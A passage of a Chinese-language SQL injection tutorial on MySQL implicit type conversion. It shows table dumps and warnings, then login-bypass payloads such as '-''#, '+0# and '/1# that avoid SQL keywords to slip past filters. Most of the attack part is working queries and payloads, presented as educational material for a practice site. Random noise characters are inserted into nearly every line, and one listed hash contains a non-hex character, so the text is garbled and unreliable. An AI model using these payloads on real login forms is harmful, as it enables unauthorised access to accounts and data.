我们先来看这样一个场景。6 d) [% }" Y! {
有以下表结构:
. i7 @. [( u \( I
! N& Y( K6 s& v# Tmysql> desc admin;3 o# I2 e! D- A \0 l o
+----------+--------------+------+-----+---------+----------------+
" r% ]) o; G, Q) T# X| Field | Type | Null | Key | Default | Extra |: a& U9 ]) O: s( ^
+----------+--------------+------+-----+---------+----------------+
5 r+ W- F8 T" f A5 F. N* C| id | mediumint(9) | NO | PRI | NULL | auto_increment |
, R0 u6 \! Y/ S1 s- ?| name | char(32) | NO | UNI | NULL | |
2 f9 I t) g# p/ ~ Z3 Q9 m5 \| password | char(32) | NO | UNI | NULL | |
) j$ `, K% L* g: C, v: u0 } k( F+----------+--------------+------+-----+---------+----------------+
9 L& |1 E+ q2 c3 rows in set (0.00 sec)
. A3 @4 o" |% Z: B" k/ Y执行select * from admin;,成功返回所有记录内容。2 D" e# q8 ^$ O
7 t1 |; @0 g1 U' ?1 q) k0 h2 ~
" V8 m9 W# }. ]# e: X8 r: x
+----+--------+----------------------------------+8 T* X' j6 @) F/ u
| id | name | password |8 P4 k" Q9 y2 c! K8 ]" ?
+----+--------+----------------------------------+0 q- q$ D7 n5 V, ?2 }: ~# M
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |' f* i+ w: X0 M1 [2 @
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* Y3 d2 A. O I6 A" W8 c| 4 | n00b | ff80e8508d39047460921792273533a4 |7 u( }' x8 y+ E: n6 u- y2 [
+----+--------+----------------------------------+" ]2 A' n9 x, Y; e2 N
3 rows in set (0.00 sec)
% _; C! S o1 S* A执行select * from admin where name=”;,没有匹配到任何记录。 % w: H: P4 p: ^7 H/ z
' r- q5 P7 u i: l/ h
mysql> select * from admin where name = '';( |% F% w8 E7 _ U- |
Empty set (0.00 sec): T" q: S$ c$ u8 v
那么我们来执行select * from admin where name = ”-”;
W. D6 ?0 a6 a. z$ s; g7 _6 |/ P' U+ a4 U1 {+ }4 N4 i* S' m
4 t K* k0 i, N! |3 V5 [
+----+--------+----------------------------------+
" Y5 g @3 _" \& u# G| id | name | password |
5 }( u6 X8 J1 e" b! A/ G' s& H+----+--------+----------------------------------+
" g2 c/ T+ f8 z* k$ x| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |- a) b5 y4 t' a4 ]5 C, j8 V6 u
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |4 R; O* A! R( Q6 N, b- r
| 4 | n00b | ff80e8508d39047460921792273533a4 |
& A0 J$ c* R8 s, x& B3 V+----+--------+----------------------------------+$ c& W! q. k3 m5 S& R
3 rows in set, 3 warnings (0.00 sec)
9 d. E7 H3 @8 K1 |) u3 g% ~可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: " u u2 s$ u! [+ A6 d- m
+ D0 m& s6 a0 S/ ?. x
mysql> show warnings;/ D; K7 O) T6 C( c) [, D& p1 K$ Z$ r, f
+---------+------+------------------------------------------
* }# p* o. t8 T| Level | Code | Message% G K9 `7 b! ]5 ` i
+---------+------+------------------------------------------
" B1 ^* u$ Z# ^2 K. l3 L. e| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
% I& O g* ^4 M| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
% p+ R3 S' ~" @: V' P' ]# S| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b7 l1 d; q7 F! y$ @- y
+---------+------+------------------------------------------8 U X e, \( ] o4 N
3 rows in set (0.00 sec)( X* H1 f# V: ^, N2 A
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
% @" U5 }7 t: I: Y5 D% s0 {0 A2 q. W Y5 _ Z2 q
mysql> select ''-'';) n1 Y/ b5 H' A! K, z, e- U: l: G
+-------+2 [6 C3 ^; D8 J- ~
| ''-'' |
5 e4 g1 o6 T3 |8 ]9 E, k+-------+
4 {5 B+ w" Z/ u# x/ ^5 q& {| 0 |4 f. L( f$ V- K" m
+-------+
, d( v- P; K3 B+ E1 row in set (0.00 sec)7 L+ W: E& n1 H* f4 p' Z: n2 S
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
- L0 c) f4 {" g8 l5 M. d
* N! T- F' C: Smysql> select CAST((select name from admin limit 1,1) as DECIMAL);
: H2 r* o5 W! J7 V+-----------------------------------------------------+
* |3 C' Z# @ k| CAST((select name from admin limit 1,1) as DECIMAL) |# i9 A" J5 r. i% A8 t8 q
+-----------------------------------------------------+
$ U# \# u1 J+ \1 N| 0 |7 ` @, ^( f3 u7 J* J
+-----------------------------------------------------+
2 G8 c( |( I' Z* g1 row in set, 1 warning (0.00 sec)0 ^: X) B% h; V
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
2 n. M8 q( l% P3 H+ y" _
8 Z: ^2 x8 C4 m( \6 h ^SQL注入场景: http://www.sqlzoo.net/hack/ # k- J$ t8 m" k
, y# t! B' ^& O& S8 O
( |. k$ Q0 E- | K& M$ q. J! e
{6 \) A) n- Q, \0 H3 J
/ N E5 \, N3 e如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 5 x8 K+ G( N" A0 a
! Z j/ [% T9 F0 W那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
0 \( J3 g* U$ d9 L. r# Z) [. U5 k7 x7 P) |+ c+ g
U; R) l9 k* ] n% ^$ h7 y% C. ?1 F5 s
! _) G- @8 Q# R; ?仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
' B2 y" J2 \7 e0 }& Z: v7 p8 C% ^; K7 @- s6 K+ |
1 L% i4 L7 P1 [$ N) H
8 `$ r. n; J; u/ R+ p5 I除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可. W6 j6 f" `( M( M, @* S
" L+ H5 |" I8 @- F, U" n8 s5 D. U" |5 g% [# U5 `' G0 S% x" o, v
mysql> select ''/1;
]* x+ P0 P6 u3 Q( i* G2 p& \ M8 D+------+- e: U1 U+ }- {6 a$ W/ k4 H. A; ]
| ''/1 |
3 m( { C- E# j& s) \+------+& J$ a! P' C# j8 d7 B2 g/ A
| 0 |. {9 A" T! ]( C6 f7 ~& Q" i
+------+
' g% \7 R* Q9 F6 p8 R! k" W1 row in set (0.00 sec)% g9 i" B8 o) P4 Q5 ^
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
! H* Q3 m$ Q% v* }& d
+ u* ~! }- L- G) O0 ^( ^利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
5 V5 u( H A- w. `6 n8 Z |
|